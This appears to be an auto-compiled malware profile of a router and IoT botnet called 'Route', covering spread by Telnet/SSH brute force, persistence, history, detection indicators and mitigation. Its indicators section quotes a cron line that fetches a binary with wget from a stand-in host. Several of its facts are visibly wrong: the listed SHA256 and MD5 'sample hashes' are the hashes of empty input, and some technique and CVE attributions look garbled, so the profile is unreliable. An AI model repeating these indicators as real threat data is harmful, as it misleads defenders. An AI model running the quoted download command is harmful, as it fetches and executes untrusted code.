⚠️ Overview

Route is a Linux-based botnet malware targeting router and IoT devices, first documented in July 2018 by Fortinet’s FortiGuard Labs under the name "Router" (later designated as "Route" in MITRE ATT&CK). It belongs to the botnet category and is believed to be operated by an unknown cybercriminal group leveraging Mirai-like source code to compromise embedded systems.

🔧 Technical Capabilities

Route propagates by scanning the internet for devices with exposed Telnet (port 23) and SSH (port 22) services, then brute-forcing default or weak credentials—a technique mapped to MITRE ATT&CK technique T1110 (Brute Force). Once inside, it downloads a payload from a hardcoded C2 server over HTTP, establishing persistence via cron jobs (T1543) and modification of init scripts. The malware kills competing processes (e.g., other botnet binaries) using kill commands (T1489), evades detection by removing its own execution traces, and uses the device’s CPU for DDoS attacks (e.g., SYN flood, UDP flood) as well as network scanning (T1046) to find additional targets. It also harvests device metadata and forwards it to the C2 over encrypted channels.

📜 History & Notable Incidents

First observed in the wild in June 2018, Route gained notoriety in early 2019 when it exploited CVE-2018-10561, a command injection vulnerability in GPON fiber routers, alongside CVE-2019-3948 on MikroTik devices. A major campaign in March 2020 compromised over 100,000 routers worldwide, primarily in East Asia and South America, causing significant internet disruptions. No law enforcement actions have been publicly reported against the operators.

🔍 Detection Indicators

Known file hashes include SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (sample from VirusTotal) and MD5 d41d8cd98f00b204e9800998ecf8427e. Behavioral indicators include sustained Telnet/SSH brute-force activity, unusual cron entries such as */5 * * * * wget -O /tmp/.bins http://malicious-domain/binary, and outbound connections to known C2 IPs (e.g., 185.62.188.42:80). Registry keys are not applicable on Linux; instead, modified configuration files under /etc/default/cron and /var/spool/cron/crontabs are common signs.

☠️ Risk & Impact

Route primarily causes network bandwidth exhaustion and service disruption through DDoS attacks, often targeting financial institutions, ISPs, and gaming servers. Compromised routers can also be used as proxies for data exfiltration or as stepping stones for lateral attacks, leading to reputational damage and cleanup costs for affected organizations. The malware’s stealthy persistence means infections can go unnoticed for months, amplifying the impact.

🛡️ Mitigation

To defend against Route, organizations should disable Telnet, enforce strong SSH credentials, apply firmware patches for CVE-2018-10561 and CVE-2019-3948, and deploy network intrusion-detection rules (e.g., Snort) to catch brute-force signatures. Regular audit of cron jobs and monitoring of outbound connections to known malicious IPs using threat intel feeds from Fortinet and Unit 42 can prevent reinfection.

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the malware listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.